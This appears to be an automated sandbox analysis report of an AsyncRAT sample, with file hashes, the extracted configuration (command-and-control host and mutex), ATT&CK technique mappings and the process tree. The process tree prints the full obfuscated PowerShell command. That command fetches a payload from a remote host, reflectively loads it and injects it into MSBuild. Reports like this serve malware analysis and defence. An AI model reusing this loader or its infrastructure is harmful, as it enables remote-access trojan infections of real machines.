asyncrat | 270f45d4dadced58852636cd091aa5ba0ca1e54f412ac17d8e807b2e1db1de5c

Analysis

max time kernel
146s
max time network
154s
platform
windows11-21h2_x64
resource
win11-20250502-en
resource tags

arch:x64arch:x86image:win11-20250502-enlocale:en-usos:windows11-21h2-x64system
submitted
09/08/2025, 09:48

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General

Target
WMIEventLogs.js
Size 1.1MB
Sample250809-ls436azls8
SHA256 270f45d4dadced58852636cd091aa5ba0ca1e54f412ac17d8e807b2e1db1de5c
MD5 9c626d8b6a1c20e788e8713117a988c7
SHA1 01620ac0cca37a60ae548ab6af5315b2a35ee8a9
SHA512 d154e5bbfeec07677e49c9ee36646539faddd518138c5d285edb3fed32f8d1685ccb34c44596f6087e2b9dd8886cda44b63bc746f0875cdaa853ed3f595c1709
SSDEEP 1536:hK9Dxyz5CKtgOp8pEcykKj3yPK1UULSPC+Cl9U35UOz57hjAJu7C5KGm2XDSwWKY:e
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat 08 agosto discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

08 Agosto

corepulsesync.ydns.eu:1000

Mutex

HdfdytUhenbkjjsdkfyuhsbdj

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2768	6064	powershell.exe	78

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2768	powershell.exe
3	2768	powershell.exe
5	2768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2768 set thread context of 3336	2768	powershell.exe	82

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2768	powershell.exe
2768	powershell.exe
2768	powershell.exe
2768	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2768	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 2232	2768	powershell.exe	81
PID 2768 wrote to memory of 2232	2768	powershell.exe	81
PID 2768 wrote to memory of 2232	2768	powershell.exe	81
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82
PID 2768 wrote to memory of 3336	2768	powershell.exe	82

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\WMIEventLogs.js
1⤵
PID:5280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -noprofile -ep bypass -c "$spermophyta='JG51bGwgPSAoW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKChJbnZva2UtV2ViUmVxdWVzdCAnaHR0cHM6Ly9hcmNoaXZlLm9yZy9kb3dubG9hZC9tc2ktcHJvL01TSV9QUk8uanBnJyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50KSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7JHZhbG9yID0gJG1hdGNoZXNbMV07JGFzc2VtYmx5ID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdmFsb3IpKTskb2xpbmlhID0gJz09QWQ0Um5MaFoyTTBFek5sUmpNbWhUT2lGV01oWjJOMFFEWjRJbU56UW1ZeFFHWnpFMlh2WlhhMUZuY2g5U2J2Tm1MbjlHYmk5R2R6Vm1kdnhtTDROM2R2Um1icGRIZTBGMkx2b0RjMFJIYScuUmVwbGFjZSgnJX4nLCd0Jyk7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJycsJ01TQnVpbGQnLCcnLCcnLCcnLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzJywnZmlicm9zYScsJ2pzJywnJywnJywnY2xpbWFjdGljJywnMicsJycpKTs=';$bobcats=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($spermophyta));Invoke-Expression $bobcats"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  PID:2232
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_lecua15r.hmj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lecua15r.hmj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/2768-0-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/2768-2-0x0000020E21DB0000-0x0000020E21DD2000-memory.dmp

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memory/2768-10-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/2768-11-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/2768-12-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/2768-13-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/2768-14-0x0000020E22270000-0x0000020E2273C000-memory.dmp

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memory/2768-15-0x0000020E09A20000-0x0000020E09A30000-memory.dmp

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memory/3336-16-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/3336-19-0x00000000057F0000-0x0000000005800000-memory.dmp

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memory/3336-20-0x00000000057F0000-0x0000000005800000-memory.dmp

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